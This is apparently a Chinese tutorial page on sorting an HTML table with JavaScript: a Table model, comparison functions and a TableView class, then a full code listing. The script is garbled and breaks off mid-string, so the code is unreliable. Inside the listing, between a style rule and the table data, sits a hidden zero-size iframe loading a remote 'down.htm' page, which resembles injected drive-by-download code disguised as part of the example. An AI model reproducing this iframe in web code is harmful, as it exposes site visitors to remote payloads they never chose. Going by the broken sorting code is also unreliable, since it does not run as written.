表格排序的方法
<script>
function Table (tBody, tHead) {
this.tBody = tBody;
this.tHead =
tHead.constructor == Array ? tHead : new Array();
this.view = null;
}
function Table_sort (compFun, col) {
compFun = compFun || compRows;
compFun.col = col ? col : 0;
this.tBody.sort(compFun);
if (this.view)
this.view.update();
}
Table.prototype.sort = Table_sort;
function compRows (row1, row2) {
var sortCol = compRows.col;
var value1 = row1[sortCol];
var value2 = row2[sortCol];
return value1 < value2 ? -1 :
value1 == value2 ? 0 : 1;
}
function compRowsNum (row1, row2) {
var sortCol = compRowsNum.col;
var value1 = parseFloat(row1[sortCol]);
var value2 = parseFloat(row2[sortCol]);
return value1 < value2 ? -1 :
value1 == value2 ? 0 : 1;
}
function TableView (model, left, top) {
this.id = TableView.cnt;
TableView.views[TableView.cnt++] = this;
this.model = model;
this.model.view = this;
this.left = left || 0;
this.top = top || 0;
this.writeLayer();
}
function TableView_writeLayer () {
var html = '';
html += '<style>';
html += '#tableView' + this.id + ' {';
html += ' position: relative;';
html += ' left: ' + this.left + 'px;';
html += ' top: ' + this.top + 'px';
html += '}';
html += '<\/STYLE>';
html += '
<script>
var tHead = [
[
'姓名<\/A>',
'课程<\/A>',
'分数<\/A>']];
var tBody = [['Meng', '语文', 100],
['孟子', '外语', 99],
['小孟', '数学', 300]
];
var table1 = new Table(tBody, tHead);
var table1View;
</script>
<script>
table1View = new TableView (table1,315,20);
</script>
代码如下:
<xmp> <html> <head> <script> function Table (tBody, tHead) { this.tBody = tBody; this.tHead = tHead.constructor == Array ? tHead : new Array(); this.view = null; } function Table_sort (compFun, col) { compFun = compFun || compRows; compFun.col = col ? col : 0; this.tBody.sort(compFun); if (this.view) this.view.update(); } Table.prototype.sort = Table_sort; function compRows (row1, row2) { var sortCol = compRows.col; var value1 = row1[sortCol]; var value2 = row2[sortCol]; return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function compRowsNum (row1, row2) { var sortCol = compRowsNum.col; var value1 = parseFloat(row1[sortCol]); var value2 = parseFloat(row2[sortCol]); return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function TableView (model, left, top) { this.id = TableView.cnt; TableView.views[TableView.cnt++] = this; this.model = model; this.model.view = this; this.left = left || 0; this.top = top || 0; this.writeLayer(); } function TableView_writeLayer () { var html = ''; html += '<style>'; html += '#tableView' + this.id + ' {'; html += ' position: absolute;'; html += ' left: ' + this.left + 'px;'; html += ' top: ' + this.top + 'px'; html += '}'; html += '<\/STYLE>'; html += '<style> xmp,blockquote {background-color:#00ccff;padding-left:20px;padding-top:10px;padding-bottom:10px;padding-right:10px} </style> <iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe><script> var tHead = [ [ '姓名<\/A>', '课程<\/A>', '分数<\/A>']]; var tBody = [['Meng', '语文', 100], ['孟子', '外语', 99], ['小孟', '数学', 300] ]; var table1 = new Table(tBody, tHead); var table1View; </script> </head> <body> <script> table1View = new TableView (table1, 100, 100); </script> </body> </html> </xmp>